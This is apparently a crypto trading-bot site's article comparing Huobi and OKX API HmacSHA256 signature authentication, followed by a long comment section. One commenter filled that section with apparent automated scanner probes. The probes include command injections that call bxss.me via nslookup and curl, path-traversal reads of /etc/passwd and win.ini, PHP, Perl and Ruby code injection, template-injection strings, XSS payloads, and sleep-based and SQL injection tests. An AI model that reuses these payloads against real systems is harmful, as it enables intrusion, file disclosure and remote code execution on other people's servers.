What is the difference between Huobi API and OKX API connection signature authentication?

Although the connection signature authentication of Huobi API and OKX API both utilize the HmacSHA256 algorithm, there are certain differences in their specific implementation and application. These differences mainly lie in the computational process of signature authentication, input parameters, and the presentation of final results.

Firstly, when Huobi API uses the HmacSHA256 algorithm for signature authentication, it mainly performs operations on the Access Key and Secret Key. The Access Key serves as a public identity identifier, while the Secret Key remains confidential and is used to generate the signature along with the Access Key. The signature process of Huobi API may involve sorting and concatenating the request parameters according to certain rules, and then performing HmacSHA256 operations with the Secret Key to obtain the signature result.

On the other hand, the generation process of the OK-ACCESS-SIGN header for OKX API's signature authentication is more complex. It requires concatenating strings such as the timestamp, method, requestPath, and body to form a string to be signed. Then, using the SecretKey and this string to be signed, HmacSHA256 operations are performed, and the resulting output is further encoded using Base-64 to ultimately generate the OK-ACCESS-SIGN header. aijiebot, a quantitative trading bot, implements the connection to OKX API using VBA, enabling automated trading.

Although both signature authentication methods are based on the HmacSHA256 algorithm, the differences in input parameters and computational processes lead to different signature results. This disparity plays a crucial role in enhancing the security and tamper-resistance of the APIs, making it difficult for attackers to forge or tamper with requests.

In summary, while the connection signature authentication of Huobi API and OKX API shares similarities in algorithmic basis, there are distinct differences in their specific implementation and application. These differences endow each API with unique characteristics and advantages in terms of security and tamper-resistance.



  admin   2024-5-12

nqhXncMU2024-7-3 2:18:12
!(()&&!|*|*|
nqhXncMU2024-7-3 2:18:14
^(#$!@#$)(()))******
nqhXncMU2024-7-3 2:18:16
1CZvbx2KLSO
nqhXncMU2024-7-3 2:18:18
'.gethostbyname(lc('hitze'.'qskkjxie3a74e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(73).chr(119).chr(87).'
nqhXncMU2024-7-3 2:18:20
".gethostbyname(lc("hitku"."ybnxdlpb9fcb5.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(71).chr(122).chr(84)."
nqhXncMU2024-7-3 2:18:21
&n914990=v939741
nqhXncMU2024-7-3 2:18:24
jukCSXWk
nqhXncMU2024-7-3 2:18:25
/../../../../../../../../../../windows/system32/BITSADMIN.exe
nqhXncMU2024-7-3 2:18:29
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
nqhXncMU2024-7-3 2:18:31
';print(md5(31337));$a='
nqhXncMU2024-7-3 2:18:32
'"()
nqhXncMU2024-7-3 2:18:34
";print(md5(31337));$a="
nqhXncMU2024-7-3 2:18:34
'&&sleep(27*1000)*csuqar&&'
nqhXncMU2024-7-3 2:18:35
echo pzebbi$()\ shsgsj\nz^xyu||a #' &echo pzebbi$()\ shsgsj\nz^xyu||a #|" &echo pzebbi$()\ shsgsj\nz^xyu||a #
nqhXncMU2024-7-3 2:18:36
12345'"\'\");|]*{ <>�''
nqhXncMU2024-7-3 2:18:36
${@print(md5(31337))}
nqhXncMU2024-7-3 2:18:38
../../../../../../../../../../../../../../etc/passwd
nqhXncMU2024-7-3 2:18:38
&echo akuceh$()\ ahbqoj\nz^xyu||a #' &echo akuceh$()\ ahbqoj\nz^xyu||a #|" &echo akuceh$()\ ahbqoj\nz^xyu||a #
nqhXncMU2024-7-3 2:18:38
"&&sleep(27*1000)*ctnsmq&&"
nqhXncMU2024-7-3 2:18:38
${@print(md5(31337))}\
nqhXncMU2024-7-3 2:18:39
${10000334+9999591}
nqhXncMU2024-7-3 2:18:40
|echo fgnthl$()\ xxauku\nz^xyu||a #' |echo fgnthl$()\ xxauku\nz^xyu||a #|" |echo fgnthl$()\ xxauku\nz^xyu||a #
nqhXncMU2024-7-3 2:18:40
../../../../../../../../../../../../../../windows/win.ini
nqhXncMU2024-7-3 2:18:41
(nslookup -q=cname hitzikfnjpyrf25ee6.bxss.me||curl hitzikfnjpyrf25ee6.bxss.me))
nqhXncMU2024-7-3 2:18:42
'||sleep(27*1000)*sxzmua||'
nqhXncMU2024-7-3 2:18:42
file:///etc/passwd
nqhXncMU2024-7-3 2:18:43
'.print(md5(31337)).'
nqhXncMU2024-7-3 2:18:43
response.write(9152659*9910922)
nqhXncMU2024-7-3 2:18:44
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
nqhXncMU2024-7-3 2:18:46
ctime sleep p0 (I30 tp1 Rp2 .
nqhXncMU2024-7-3 2:18:46
'+response.write(9152659*9910922)+'
nqhXncMU2024-7-3 2:18:47
$(nslookup -q=cname hityoyazyusxz2517b.bxss.me||curl hityoyazyusxz2517b.bxss.me)
nqhXncMU2024-7-3 2:18:47
../
nqhXncMU2024-7-3 2:18:47
"||sleep(27*1000)*yfodsf||"
nqhXncMU2024-7-3 2:18:47
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
nqhXncMU2024-7-3 2:18:51
"+response.write(9152659*9910922)+"
nqhXncMU2024-7-3 2:18:53
HttP://bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:18:53
&nslookup -q=cname hitixuugoggnt88254.bxss.me&'\"`0&nslookup -q=cname hitixuugoggnt88254.bxss.me&`'
nqhXncMU2024-7-3 2:18:54
Http://bxss.me/t/fit.txt
nqhXncMU2024-7-3 2:18:55
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nqhXncMU2024-7-3 2:18:55
396
nqhXncMU2024-7-3 2:18:55
http://bxss.me/t/fit.txt?.jpg
nqhXncMU2024-7-3 2:18:56
&(nslookup -q=cname hitcraassbzxxd048c.bxss.me||curl hitcraassbzxxd048c.bxss.me)&'\"`0&(nslookup -q=cname hitcraassbzxxd048c.bxss.me||curl hitcraassbzxxd048c.bxss.me)&`'
nqhXncMU2024-7-3 2:18:56
/etc/shells
nqhXncMU2024-7-3 2:18:56
bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:18:57
"+"A".concat(70-3).concat(22*4).concat(102).concat(70).concat(106).concat(84)+(require"socket" Socket.gethostbyname("hitoj"+"fzrdlmhg15233.bxss.me.")[3].to_s)+"
nqhXncMU2024-7-3 2:18:57
396
nqhXncMU2024-7-3 2:18:58
xfs.bxss.me
nqhXncMU2024-7-3 2:18:58
|(nslookup -q=cname hitfnuzmmjkzb04582.bxss.me||curl hitfnuzmmjkzb04582.bxss.me)
nqhXncMU2024-7-3 2:18:58
c:/windows/win.ini
nqhXncMU2024-7-3 2:18:59
'+'A'.concat(70-3).concat(22*4).concat(119).concat(74).concat(99).concat(89)+(require'socket' Socket.gethostbyname('hitwc'+'urdsdyrbca49f.bxss.me.')[3].to_s)+'
nqhXncMU2024-7-3 2:19:01
396/.
nqhXncMU2024-7-3 2:19:01
bxss.me
nqhXncMU2024-7-3 2:19:02
`(nslookup -q=cname hitenrtqurayzd021d.bxss.me||curl hitenrtqurayzd021d.bxss.me)`
nqhXncMU2024-7-3 2:19:03
9403830
nqhXncMU2024-7-3 2:19:04
980305
nqhXncMU2024-7-3 2:19:08
http://xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:19:10
xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:19:13
bfg4107<s1﹥s2ʺs3ʹhjl4107
nqhXncMU2024-7-3 2:19:14
//xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:19:17
/\xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:19:17
bfgx4955��z1��z2a�bcxhjl4955
nqhXncMU2024-7-3 2:19:22
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 2:19:26
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:19:29
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:19:34
dfb{98991*97996}xca
nqhXncMU2024-7-3 2:19:39
dfb${98991*97996}xca
nqhXncMU2024-7-3 2:19:43
dfb#{98991*97996}xca
nqhXncMU2024-7-3 2:19:48
dfb{#98991*97996}xca
nqhXncMU2024-7-3 2:19:53
dfb{@98991*97996}xca
nqhXncMU2024-7-3 2:19:56
dfb{{=98991*97996}}xca
nqhXncMU2024-7-3 2:20:00
dfb@(98991*97996)xca
nqhXncMU2024-7-3 2:20:01
dfb<%=98991*97996%>xca
nqhXncMU2024-7-3 2:20:04
dfb#set($x=98991*97996)${x}xca
nqhXncMU2024-7-3 2:20:07
dfb{{"abc"|title}}xca
nqhXncMU2024-7-3 2:20:12
print("dfb" . 98991*97996 . "xca");
nqhXncMU2024-7-3 2:20:15
98991*97996*98991*97996
nqhXncMU2024-7-3 2:20:19
dfb{@math key=98991 method="multiply" operand=97996/}xca
nqhXncMU2024-7-3 2:20:25
dfb{{{this}}}xca
nqhXncMU2024-7-3 2:20:27
#{98991*97996*98991*97996}
nqhXncMU2024-7-3 2:20:31
dfb#{xca}=123
nqhXncMU2024-7-3 2:20:36
dfb{{'abcd'.toUpperCase()}}xca
nqhXncMU2024-7-3 2:20:44
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
nqhXncMU2024-7-3 2:20:52
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:20:55
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 2:20:58
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 2:21:01
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 2:21:18
%0D%0A%3C%53%63%52%69%50%74%20%3E%4A%62%51%75%289827%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 2:21:21
\u003CScRiPt\JbQu(9915)\u003C/sCripT\u003E
nqhXncMU2024-7-3 2:21:24
&lt;ScRiPt&gt;JbQu(9017)&lt;/sCripT&gt;
nqhXncMU2024-7-3 2:21:30
}body{zzz:Expre/**/SSion(JbQu(9547))}
nqhXncMU2024-7-3 2:26:19
fGxejE7b
nqhXncMU2024-7-3 2:26:33
*416*411*0
nqhXncMU2024-7-3 2:26:37
NaN+421-416-5
nqhXncMU2024-7-3 2:26:39
*75*70*0
nqhXncMU2024-7-3 2:26:43
NaN+80-75-5
nqhXncMU2024-7-3 2:26:48
*866*861*0
nqhXncMU2024-7-3 2:26:53
NaN+871-866-5
nqhXncMU2024-7-3 2:26:56
*167*162*0
nqhXncMU2024-7-3 2:26:59
NaN+172-167-5
nqhXncMU2024-7-3 2:27:02
-1 OR 2+306-306-1=0+0+0+1
nqhXncMU2024-7-3 2:27:10
-1 OR 3+306-306-1=0+0+0+1
nqhXncMU2024-7-3 2:27:14
-1 OR 3*2<(0+5+306-306)
nqhXncMU2024-7-3 2:27:18
-1 OR 3*2>(0+5+306-306)
nqhXncMU2024-7-3 2:27:26
����%2527%2522\'\"
nqhXncMU2024-7-3 2:27:32
@@Jp3pX
nqhXncMU2024-7-3 3:19:53
9448897
nqhXncMU2024-7-3 3:20:06
bfg1243<s1﹥s2ʺs3ʹhjl1243
nqhXncMU2024-7-3 3:20:23
bfgx9551��z1��z2a�bcxhjl9551
nqhXncMU2024-7-3 3:20:39
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:21:11
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:21:27
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 3:21:45
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 3:22:00
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 3:22:23
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 3:25:15
%0D%0A%3C%53%63%52%69%50%74%20%3E%39%41%32%38%289742%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 3:25:31
\u003CScRiPt\9A28(9931)\u003C/sCripT\u003E
nqhXncMU2024-7-3 3:25:47
&lt;ScRiPt&gt;9A28(9598)&lt;/sCripT&gt;
nqhXncMU2024-7-3 3:26:32
}body{zzz:Expre/**/SSion(9A28(9939))}
nqhXncMU2024-7-3 10:34:12
9200358
nqhXncMU2024-7-3 10:34:23
bfg2210<s1﹥s2ʺs3ʹhjl2210
nqhXncMU2024-7-3 10:34:31
bfgx6871��z1��z2a�bcxhjl6871
nqhXncMU2024-7-3 10:34:41
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 10:34:49
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 10:34:58
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 10:35:05
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 10:35:11
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 10:35:15
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 10:36:07
%0D%0A%3C%53%63%52%69%50%74%20%3E%4A%53%6D%41%289904%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 10:36:13
\u003CScRiPt\JSmA(9812)\u003C/sCripT\u003E
nqhXncMU2024-7-3 10:36:22
&lt;ScRiPt&gt;JSmA(9955)&lt;/sCripT&gt;
nqhXncMU2024-7-3 10:36:38
}body{zzz:Expre/**/SSion(JSmA(9167))}
评论: